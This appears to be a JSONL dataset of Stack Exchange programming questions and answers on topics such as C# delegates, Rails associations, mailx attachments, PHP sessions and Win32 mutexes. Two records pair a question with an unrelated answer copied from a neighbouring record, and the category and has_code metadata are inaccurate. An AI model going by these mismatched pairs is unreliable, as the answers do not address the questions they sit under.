{"id": "hf_df8634a8a8a6", "question": "<p>Suppose we have:</p>\n\n<pre><code>interface Foo \n{\n bool Func(int x);\n}\n\nclass Bar: Foo\n{\n  bool Func(int x)\n  {\n   return (x&gt;0);\n  }  \n}\n\nclass Baz: Foo\n{\n  bool Func(int x)\n  {\n   return (x&lt;0);\n  }  \n}\n</code></pre>\n\n<p>Now we can toss around Bar and Baz as a Foos and call their Func methods.</p>\n\n<p>Delegates simplify this a little bit:</p>\n\n<pre><code>delegate bool Foo(int x);\n\nbool Bar(int x)\n{\n return (x&lt;0);\n}\n\nbool Baz(int x)\n{\n return (x&gt;0);\n}\n</code></pre>\n\n<p>Now we can toss around Bar and Baz as Foo delegates.</p>\n\n<p>What is the real benefit of delegates, except for getting shorter code?</p>\n", "question_body": "", "answer": "No, delegates are for method pointers. Then you can make sure that the signature of the method associated w/ the delegate is correct.\nAlso, then you don't need to know the structure of the class. This way, you can use a method that you have written to pass into a method in another class, and define the functionality you want to have happen.\nTake a look at the\nList<> class with the Find method\n. Now you get to define what determines if something is a match or not, without requiring items contained in the class to implement IListFindable or something similar.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:12.764887"}
{"id": "hf_400c08ec1a9f", "question": "<p>Simple question, how do you list the primary key of a table with T-SQL? I know how to get indexes on a table, but can't remember how to get the PK.</p>\n", "question_body": "", "answer": "The system stored procedure\n```\nsp_help\n```\nwill give you the information. Execute the following statement:\n```\n```\nexecute sp_help table_name\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:12.800840"}
{"id": "hf_ba997751c227", "question": "<p>Let's say I have two models, Classes and People. A Class might have one or two People as instructors, and twenty people as students. So, I need to have multiple relationships between the models -- one where it's 1->M for instructors, and one where it's 1->M for students.</p>\n\n<p>Edit: Instructors and Students <em>must</em> be the same; instructors could be students in other classes, and vice versa.</p>\n\n<p>I'm sure this is quite easy, but Google isn't pulling up anything relevant and I'm just not finding it in my books.</p>\n", "question_body": "", "answer": "There are many options here, but assuming instructors are always instructors and students are always students, you can use inheritance:\n```\n```\nclass Person < ActiveRecord::Base; end  # btw, model names are singular in rails\nclass Student < Person; end\nclass Instructor < Person; end\n```\n```\nthen\n```\n```\nclass Course < ActiveRecord::Base  # renamed here because class Class already exists in ruby\n  has_many :students\n  has_many :instructors\nend\n```\n```\nJust remember that for single table inheritance to work, you need a\n```\ntype\n```\ncolumn in the\n```\npeople\n```\ntable.\nusing an association model might solve your issue\n```\n```\nclass Course < ActiveRecord::Base\n  has_many :studentships\n  has_many :instructorships\n  has_many :students,    :through => :studentships\n  has_many :instructors, :through => :instructorships\nend\n\nclass Studentship < ActiveRecord::Base\n  belongs_to :course\n  belongs_to :student, :class_name => \"Person\", :foreign_key => \"student_id\"\nend\n\nclass Instructorship < ActiveRecord::Base\n  belongs_to :course\n  belongs_to :instructor, :class_name => \"Person\", :foreign_key => \"instructor_id\"\nend\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:12.850533"}
{"id": "hf_44464695cb4e", "question": "<p>For example, given a type param method i'm looking for something like the part in bold</p>\n\n<blockquote>\n  <p>void MyMethod&lt; T >() {<br>\n  if ( <strong>typeof(T).Implements( <em>IMyInterface</em> )</strong> )\n  {</p>\n\n<pre><code>  //Do something   \n</code></pre>\n  \n  <p>else</p>\n\n<pre><code>  //Do something else \n</code></pre>\n  \n  <p>}</p>\n</blockquote>\n\n<p>Anwers using C# 3.0 are also welcome, but first drop the .NET 2.0 ones please ;)</p>\n", "question_body": "", "answer": "Type.IsAssignableFrom\n```\n```\nif(typeof(IMyInterface).IsAssignableFrom(typeof(T)))\n{\n  // something\n}\nelse\n{\n  // something else\n}\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:12.886471"}
{"id": "hf_396b2e7e9881", "question": "<p>I have the feeling that is easy to find samples, tutorials and simple examples on Flex.<br>\nIt seems harder to find tips and good practices based on real-life projects.<br>\nAny tips on how to :</p>\n\n<ul>\n<li>How to write maintainable actionscript code</li>\n<li>How to ensure a clean separation of concern. Has anybody used an MVC framework such as cairngorm, puremvc or easymvc on a real Flex project ?</li>\n<li>How to fetch data from a server with blazeds/amfphp ?</li>\n<li>How to reduce latency for the end-user ?</li>\n<li>...</li>\n</ul>\n", "question_body": "", "answer": "I work often with Flex in my job, and I will be happy to help.. but your questions deserve an article for each one :) I'll try some short answer.\nMaintenable code: I think that the same rules of any other OO languages apply. Some flex-specific rules I'm use to follow: use strong typed variables, always consider dispatching events as the way for your UI components talk each other (a little more initial work, very flexible and decoupled later).\nFrameworks: looked at it, read the documentation.. very nice, but I still feel that their complications are not balanced by the benefits they provide. Anyway I'd like to change my mind on this point..\nTalking with server: Right now I'm using BlazeDS, it works very well.. there are many tutorials on the subject out there, if you find any trouble setting up it I would be happy to help.\nLatency: Do you mean in client/server comunications? If so, you should explore the various type of channels BlazeDS implements.. pull-only, two-way http polling, near real-time on http (comet).. if you need more, LiveCycle Data Services ES, the commrcial implementation from which BlazeDS is born, among other things offer another protocol called RTMP, it isn't http-tunnelled so there can be problem with firewalls and proxies, but it offers better performance (there is a free closed-source version of LCDS). I use the standard http channels in intranet environments, and found no real performance problems even with large datasets.\nWell.. quite a lot of stuff, can't be more specific now on each of this points, ask you if need :)", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:12.922807"}
{"id": "hf_9cae4639b57a", "question": "<p>Suppose I want to store many small configuration objects in XML, and I don't care too much about the format. The <a href=\"http://java.sun.com/j2se/1.5.0/docs/api/java/beans/XMLDecoder.html\" rel=\"nofollow noreferrer\">XMLDecoder</a> class built into the JDK would work, and from what I hear, <a href=\"http://xstream.codehaus.org/\" rel=\"nofollow noreferrer\">XStream</a> works in a similar way.</p>\n\n<p>What are the advantages to each library?</p>\n", "question_body": "", "answer": "If you are planning on storing all those configuration objects in a single file, and that file will be quite large, both the options you've outlined above could be quite memory intensive, as they both require the entire file to be read into memory to be deserialized.\nIf memory usage is a concern (the file containing the XML will be very large), I recommend\nSAX\n.\nIf memory usage is not a concern (the file containing the XML will not be very large), I'd use whatever is included with the default JRE (in this case XMLDecoder) just to remove 3rd party dependencies.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:12.982616"}
{"id": "hf_51152b9caa67", "question": "<p>I'm working with an mpeg stream that uses a IBBP... GOP sequence. The <code>(DTS,PTS)</code> values returned for the first 4 AVPackets are as follows: <code>I=(0,3) B=(1,1) B=(2,2) P=(3,6)</code></p>\n\n<p>The PTS on the I frame looks like it is legit, but then the PTS on the B frames cannot be right, since the B frames shouldn't be displayed before the I frame as their PTS values indicate. I've also tried decoding the packets and using the pts value in the resulting AVFrame, put that PTS is always set to zero.</p>\n\n<p>Is there any way to get an accurate PTS out of ffmpeg? If not, what's the best way to sync audio then?</p>\n", "question_body": "", "answer": "Ok, scratch my previous confused reply.\nFor a IBBPBBI movie, you'd expect the PTSes to look like this (in decoding order)\n```\n```\n0, 3, 1, 2, 6, 4, 5, ...\n```\n```\ncorresponding to the frames\n```\n```\nI, P, B, B, I, B, B, ...\n```\n```\nSo you appear to be missing an I at the start of your sequence but otherwise the timestamps look correct.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:13.035135"}
{"id": "hf_17a8f3887036", "question": "<p>I'm currently modifying a Java script in Rational Functional Tester and I'm trying to tell RFT to wait for an object with a specified set of properties to appear. Specifically, I want to wait until a table with X number of rows appear. The only way I have been able to do it so far is to add a verification point that just verifies that the table has X number of rows, but I have not been able to utilize the wait for object type of VP, so this seems a little bit hacky. Is there a better way to do this?</p>\n\n<p>Jeff</p>\n", "question_body": "", "answer": "No, there is not a built-in waitForProperty() type of method, so you cannot do something simple like tableObject.waitForProperty(\"rowCount\", x);\nYour options are to use a verification point as you already are doing (if it ain't broke...) or to roll your own synchronization point using a do/while loop and the find() method.\nThe\n```\nfind()\n```\ncodesample below assumes that\n```\ndoc\n```\nis an html document.  Adjust this to be your parent java window.\n```\n```\nTestObject[] tables = doc.find(atDescendant(\".rowCount\", x), false);\n```\n```\nIf you are not familiar with\n```\nfind()\n```\n, do a search in the RFT API reference in the help menu.\n```\nfind()\n```\nwill be your best friend in RFT scripting.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:13.069762"}
{"id": "hf_d9f5b3311e20", "question": "<pre><code>Shell (\"explorer.exe www.google.com\")\n</code></pre>\n\n<p>is how I'm currently opening my products ad page after successful install. However I think it would look much nicer if I could do it more like Avira does, or even a popup where there are no address bar links etc.  Doing this via an inbrowser link is easy enough</p>\n\n<pre><code>&lt;a href=\"http://page.com\"\nonClick=\"javascript:window.open('http://page.com','windows','width=650,height=350,toolbar=no,menubar=no,scrollbars=yes,resizable=yes,location=no,directories=no,status=no');    return false\")\"&gt;Link text&lt;/a&gt; \n</code></pre>\n\n<p>But how would I go about adding this functionality in VB?</p>\n", "question_body": "", "answer": "No, there is not a built-in waitForProperty() type of method, so you cannot do something simple like tableObject.waitForProperty(\"rowCount\", x);\nYour options are to use a verification point as you already are doing (if it ain't broke...) or to roll your own synchronization point using a do/while loop and the find() method.\nThe\n```\nfind()\n```\ncodesample below assumes that\n```\ndoc\n```\nis an html document.  Adjust this to be your parent java window.\n```\n```\nTestObject[] tables = doc.find(atDescendant(\".rowCount\", x), false);\n```\n```\nIf you are not familiar with\n```\nfind()\n```\n, do a search in the RFT API reference in the help menu.\n```\nfind()\n```\nwill be your best friend in RFT scripting.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:13.093185"}
{"id": "hf_cd6e5f4ef8fc", "question": "<p>I have uncovered another problem in the effort that we are making to port several hundreds of ksh scripts from AIX, Solaris and HPUX to Linux. See <a href=\"https://stackoverflow.com/questions/74372/how-to-overcome-an-incompatibility-between-the-ksh-on-linux-vs-that-installed-o\">here</a> for the previous problem.</p>\n\n<p>This code:</p>\n\n<pre><code>#!/bin/ksh\nif [ -a k* ]; then\n    echo \"Oh yeah!\"\nelse\n    echo \"No way!\"\nfi\nexit 0\n</code></pre>\n\n<p>(when run in a directory with several files whose name starts with k) produces \"Oh yeah!\" when called with the AT&amp;T ksh variants (ksh88 and ksh93). On the other hand it produces and error message followed by \"No way!\" on the other ksh variants (pdksh, MKS ksh and bash).</p>\n\n<p>Again, my question are: </p>\n\n<ul>\n<li>Is there an environment variable that will cause pdksh to behave like ksh93? Failing that:</li>\n<li>Is there an option on pdksh to get the required behavior?</li>\n</ul>\n", "question_body": "", "answer": "You do realize that [ is an alias (often a link, symbolic or hard) for\n```\n/usr/bin/test\n```\n, right?  So perhaps the actual problem is different versions of\n```\n/usr/bin/test\n```\n?\nOTOH, ksh overrides it with a builtin.  Maybe there's a way to get it to not do that?  or maybe you can explicitly alias [ to\n```\n/usr/bin/test\n```\n, if\n```\n/usr/bin/test\n```\non all platforms is compatible?", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:13.116360"}
{"id": "hf_a4e4b03d6a5f", "question": "<p>Is it possible to use chapters in videos for the iPhone in an application?</p>\n\n<p>For example:\nI have a 3 minutes video to play. I have chapter 1 starting at 0s, chapter 2 at 50s, chapter 3 at 95s.</p>\n\n<p>Can I start plating the video at 50s (chapter 2) until the end? Can I make it play just the chapter 2 from 50s to 95s?</p>\n\n<p>My question is not about how to add chapters to a video. I want to know if this behaviour is available on the iphone.</p>\n", "question_body": "", "answer": "This is definitely possible sending the non-documented message\nsetCurrentTime\nto MPMoviePlayerController. It takes one parameter of type double which specifies the playback position in seconds. Find below a short example:\nExtend the MPMoviePlayerController to avoid compiler warnings:\n```\n```\n@interface MPMoviePlayerController (extended)\n-(void)setCurrentTime:(double)seconds;\n@end\n```\n```\nThen you can call it wherever you need it - before start or during playback.\n```\n```\nMPMoviePlayerController* player = [[ MPMoviePlayerController alloc] initWithContentURL:url ];\n[ player setCurrentTime:95.0 ];\n[ player play ];\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:13.173868"}
{"id": "hf_12c47f272b1b", "question": "<p>I'm attempting to convert a home-grown login system to the standard asp.net login control included in .net.  I want all communication on the website for a user not logged in to be in clear text, but lock everything in SSL once the user logs in - including the transmission of the username and password.</p>\n\n<p>I had this working before by loading a second page - \"loginaction.aspx\" - with a https: prefix, then pulling out the username and password by looking for the proper textbox controls in Request.Form.Keys.  Is there a way to do something similar using the .net login controls?  I dont want to have a seperate login page, but rather include this control (within a loginview) on every page on the site.</p>\n", "question_body": "", "answer": "You aren't going to be able to have your site as non-SSL, with a login box on every page, and then submit the username and password via SSL.\nThe only way to really accomplish this is to use frames of some sort. This way your entire page could be non-SSL, but the login frame would have to be SSL.\nThe usual ways of doing this is to either lock down the entire site with SSL, don't worry about having the username and password SSL encrypted and go to SSL after they log in, or go the frame route I mentioned above.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:13.208367"}
{"id": "hf_384f69ce3f00", "question": "<p>I believe the question says it all ... (I'll update if needed)</p>\n", "question_body": "", "answer": "You aren't going to be able to have your site as non-SSL, with a login box on every page, and then submit the username and password via SSL.\nThe only way to really accomplish this is to use frames of some sort. This way your entire page could be non-SSL, but the login frame would have to be SSL.\nThe usual ways of doing this is to either lock down the entire site with SSL, don't worry about having the username and password SSL encrypted and go to SSL after they log in, or go the frame route I mentioned above.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:13.232709"}
{"id": "hf_5cb1ee1dd712", "question": "<p>The <strong>C</strong> preprocessor is justifiably feared and shunned by the C++ community. In-lined functions, consts and templates are usually a safer and superior alternative to a <code>#define</code>.</p>\n\n<p>The following macro: </p>\n\n<pre><code>#define SUCCEEDED(hr) ((HRESULT)(hr) &gt;= 0)  \n</code></pre>\n\n<p>is in no way superior to the type safe:</p>\n\n<pre><code>inline bool succeeded(int hr) { return hr &gt;= 0; }\n</code></pre>\n\n<p>But macros do have their place, please list the uses you find for macros that you <em>can't</em> do without the preprocessor. </p>\n\n<p>Please put each use-cases in a seperate answer so it can be voted up and if you know of how to achieve one of the answers without the preprosessor point out how in that answer's comments.</p>\n", "question_body": "", "answer": "When you want to change the program flow (\n```\nreturn\n```\n,\n```\nbreak\n```\nand\n```\ncontinue\n```\n) code in a function behaves differently than code that is actually inlined in the function.\n```\n```\n#define ASSERT_RETURN(condition, ret_val) \\\nif (!(condition)) { \\\n    assert(false && #condition); \\\n    return ret_val; }\n\n// should really be in a do { } while(false) but that's another discussion.\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:13.257647"}
{"id": "hf_5ab8673db489", "question": "<p>I have two code bases of an application.  I need to copy all the files in all the directories with .java from the newer code base, to the older (so I can commit it to svn).</p>\n\n<p>How can I write a batch files to do this?</p>\n", "question_body": "", "answer": "XCOPY /D ?\n```\n```\nxcopy c:\\olddir\\*.java c:\\newdir /D /E /Q /Y\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:13.353521"}
{"id": "hf_ef9c0819bf04", "question": "<p>I am programming a game on the iPhone.  I am currently using NSTimer to trigger my game update/render.  The problem with this is that (after profiling) I appear to lose a lot of time between updates/renders and this seems to be mostly to do with the time interval that I plug into NSTimer.  </p>\n\n<p>So my question is what is the best alternative to using NSTimer?</p>\n\n<p>One alternative per answer please.</p>\n", "question_body": "", "answer": "I don't know about the iPhone in particular, but I may still be able to help:\nInstead of simply plugging in a fixed delay at the end of the loop, use the following:\nDetermine a refresh interval that you would be happy with and that is larger than a single pass through your main loop.\nAt the start of the loop, take a current timestamp of whatever resolution you have available and store it.\nAt the end of the loop, take another timestamp, and determine the elapsed time since the last timestamp (initialize this before the loop).\nsleep/delay for the difference between your ideal frame time and the already elapsed time this for the frame.\nAt the next frame, you can even try to compensate for inaccuracies in the sleep interval by comparing to the timestamp at the start of the previous loop. Store the difference and add/subtract it from the sleep interval at the end of this loop (sleep/delay can go too long OR too short).\nYou might want to have an alert mechanism that lets you know if you're timing is too tight(i,e, if your sleep time after all the compensating is less than 0, which would mean you're taking more time to process than your frame rate allows). The effect will be that your game slows down. For extra points, you may want to simplify rendering for a while, if you detect this happening, until you have enough spare capacity again.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:13.377230"}
{"id": "hf_3561466e48ba", "question": "<p>I am using the WebBrowser control to add a WebInterface to C# app. My desire is to verify that only such app is able to connect to our Web server using SSL client certificates.</p>\n\n<p>My idea was to embed the client certificate in the app and just use when connecting via my app. Anybody have a sugestion on how to do this? Or the only way to make it work is to load the key in the X509Store.</p>\n\n<p>If I put it in X509Store, will it make my key available for general Internet Explorer Usage?</p>\n", "question_body": "", "answer": "Are you sure this is what you want to do? If you embed the private key in your application (as your approach entails), an attacker can extract it and use it to authenticate their rogue software.\nA server cannot authenticate client software. It can only test whether a client possesses some secret. When you embed a private key in your client and distribute it, it will not be a secret anymore.\nI'd recommend authenticating\nusers\nof your software, rather than the software itself. You need to let users generate their own secret, whether it is a password or a private key, and give them an incentive to protect it.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:13.412765"}
{"id": "hf_cc96fc8267b4", "question": "<p>I'm fresh out of college and have been working in C++ for some time now.  I understand all the basics of C++ and use them, but I'm having a hard time grasping more advanced topics like pointers and classes.  I've read some books and tutorials and I understand the examples in them, but then when I look at some advanced real life examples I cannot figure them out.  This is killing me because I feel like its keeping me from bring my C++ programming to the next level.  Did anybody else have this problem? If so, how did you break through it?\nDoes anyone know of any books or tutorials that really describe pointers and class concepts well?\nor maybe some example code with good descriptive comments using advanced pointers and class techniques?\nany help would be greatly appreciated.</p>\n", "question_body": "", "answer": "Pretend a pointer is an array address.\n```\n```\nx = 500; // memory address for hello;\nMEMORY[x] = \"hello\"; \nprint  MEMORY[x];\n```\n```\nits a graphic oversimplification, but for the most part as long as you never want to know what that number is or set it by hand you should be fine.\nBack when I understood C I had a few macros I had which more or less permitted you to use pointers just like they\nwere\nan array index in memory. But I've long since lost that code and long since forgotten.\nI recall it started with\n```\n```\n#define MEMORY 0; \n#define MEMORYADDRESS( a ) *a;\n```\n```\nand that on its own is hardly useful.  Hopefully somebody else can expand on that logic.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:13.448432"}
{"id": "hf_9272422e0b87", "question": "<p>Given an instance of <code>System.Reflection.Assembly</code>.</p>\n", "question_body": "", "answer": "Not possible. Nothing specifies a \"Root\" namespace. The default namespace in the options is a visual studio thing, not a .net thing", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:13.496242"}
{"id": "hf_5f1b9db4de47", "question": "<p>I need to attach a file with mailx but at the moment I am not having success.</p>\n\n<p><strong>Here's my code:</strong></p>\n\n<pre><code>subject=\"Something happened\"\nto=\"somebody@somewhere.com\"\nbody=\"Attachment Test\"\nattachment=/path/to/somefile.csv\n\nuuencode $attachment | mailx -s \"$subject\" \"$to\" &lt;&lt; EOF\n\nThe message is ready to be sent with the following file or link attachments:\n\nsomefile.csv\n\nNote: To protect against computer viruses, e-mail programs may prevent\nsending or receiving certain types of file attachments.  Check your\ne-mail security settings to determine how attachments are handled.\n\nEOF\n</code></pre>\n\n<p>Any feedback would be highly appreciated.</p>\n\n<hr>\n\n<p><strong>Update</strong>\nI have added the attachment var to avoid having to use the path every time.</p>\n", "question_body": "", "answer": "Well, here are the first few problems you've got.\nYou appear to be assuming that a mail client is going to handle uuencoded attachment without any headers.  That won't happen.\nYou're misusing I/O redirection:  uuencode's output and the here-document are both being fed to mailx, which can't happen.\nYou're misusing uuencode:  if one path is given, it's just a name to give the decoded file, not an input file name.  Giving the file twice will assign the same name to the decoded file as that which was read.  The -m flag forces base64 encode.  But this still isn't going to provide attachment headers for mailx.\nYou're way better getting a copy of mpack, which will do what you want.\nIf you must do it, you could do something like this:\n```\n```\ncat <<EOF | ( cat -; uuencode -m /path/to/somefile.csv /path/to/somefile.csv; ) | mailx -s \"$subject\" \"$to\" \nplace your message from the here block in your example here\nEOF\n```\n```\nThere are lots of other possibilities... but this one still has the here document\nas in your example and was easy off the top of my head, and there's no temp file involved.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:13.520514"}
{"id": "hf_b1d6356d105d", "question": "<p>I am trying to write a servlet that will send a XML file (xml formatted string) to another servlet via a POST.\n(Non essential xml generating code replaced with \"Hello there\")</p>\n\n<pre><code>   StringBuilder sb=  new StringBuilder();\n    sb.append(\"Hello there\");\n\n    URL url = new URL(\"theservlet's URL\");\n    HttpURLConnection connection = (HttpURLConnection)url.openConnection();                \n    connection.setRequestMethod(\"POST\");\n    connection.setRequestProperty(\"Content-Length\", \"\" + sb.length());\n\n    OutputStreamWriter outputWriter = new OutputStreamWriter(connection.getOutputStream());\n    outputWriter.write(sb.toString());\n    outputWriter.flush();\n    outputWriter.close();\n</code></pre>\n\n<p>This is causing a server error, and the second servlet is never invoked.</p>\n", "question_body": "", "answer": "Don't forget to use:\n```\n```\nconnection.setDoOutput( true)\n```\n```\nif you intend on sending output.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:13.572566"}
{"id": "hf_b20abd88a148", "question": "<p>I have a SQL statement that looks like:</p>\n\n<pre><code>SELECT [Phone]\nFROM [Table]\nWHERE\n(\n    [Phone] LIKE '[A-Z][a-z]'\n    OR [Phone] = 'N/A'\n    OR [Phone] LIKE '[0]'\n)\n</code></pre>\n\n<p>The part I'm having trouble with is the where statement with the \"LIKEs\". I've seen SQL statements where authors used <code>like</code> statements in the way I'm using them above. At first, I thought this might be a version of Regular Expressions but I've since learned. </p>\n\n<p>Is anyone familiar with using like statements in such a way. Note: the \"N/A\" is working fine. </p>\n\n<p>What I need to match is phone numbers that have characters. Or phone numbers which contain nothing but zero.</p>\n", "question_body": "", "answer": "Check\nhere\n.\n[] matches a range of characters.\nI think you want something like this:\n```\n```\nSELECT [Phone]\nFROM [Table]\nWHERE\n(\n    [Phone] LIKE '%[A-Z]%'\n    OR [Phone] LIKE '%[a-z]%'\n    OR [Phone] = 'N/A'\n    OR [Phone] LIKE '0'\n)\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:13.623746"}
{"id": "hf_18be20fd7a2a", "question": "<p>I have this string</p>\n\n<pre><code>'john smith~123 Street~Apt 4~New York~NY~12345'\n</code></pre>\n\n<p>Using JavaScript, what is the fastest way to parse this into</p>\n\n<pre><code>var name = \"john smith\";\nvar street= \"123 Street\";\n//etc...\n</code></pre>\n", "question_body": "", "answer": "With JavaScript’s\n```\nString.prototype.split\n```\nfunction:\n```\n```\nvar input = 'john smith~123 Street~Apt 4~New York~NY~12345';\n\nvar fields = input.split('~');\n\nvar name = fields[0];\nvar street = fields[1];\n// etc.\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:13.670843"}
{"id": "hf_1bffc8938a9f", "question": "<p>Sessions in PHP seemed to have changed since the last time I used them, so I'm looking for a simple way of using sessions but at the same time for it to be relatively secure and a good common practice.</p>\n", "question_body": "", "answer": "First off, use cookie based only unless you have a very specific good business reason not to. I had a client that insisted on url based sessions only for a project. very insecure and a pain to work with.\nOne good idea is to regenerate the session on each request. this makes hijack much less likely. For example.\n```\n```\nsession_start();\n$old_sessionid = session_id();\nsession_regenerate_id();\n$new_sessionid = session_id();\n```\n```\nAnother thing that is good practice is if you are doing some kind of user login as part of the system, completely invalidate and empty the session data on a logout to insure that the user is truly logged out of the system. I have seen systems where logout is just accomplished by removing the session cookie.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:13.731649"}
{"id": "hf_ccced7a94dce", "question": "<p>We have multiple MFC apps, which use CMutex( false, \"blah\" ), where \"blah\" allows the mutex to work across process boundaries.</p>\n\n<p>One of these apps was re-written without MFC (using Qt instead).  How can I simulate the CMutex using Win32 calls? (Qt's QMutex is not inter-process.)  I prefer not to modify the MFC apps.</p>\n", "question_body": "", "answer": "The following funcs will probably be what you want, they are all documented on MSDN.\n```\n```\nCreateMutex(...)\nWaitForSingleObject(...)\nReleaseMutex(...)\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:13.804348"}
{"id": "hf_77344964d5d3", "question": "<p>This isn't legal:</p>\n\n<pre><code>public class MyBaseClass\n{\n  public MyBaseClass() {}\n  public MyBaseClass(object arg) {}\n}\n\n\npublic void ThisIsANoNo&lt;T&gt;() where T : MyBaseClass\n{\n  T foo = new T(\"whoops!\");\n}\n</code></pre>\n\n<p>In order to do this, you have to do some reflection on the type object for T or you have to use Activator.CreateInstance.  Both are pretty nasty.  Is there a better way?</p>\n", "question_body": "", "answer": "```\n```\nwhere T : MyBaseClass, new()\n```\n```\nonly works w/ parameterless public constructor. beyond that, back to activator.CreateInstance (which really isn't THAT bad).", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:24:13.829135"}
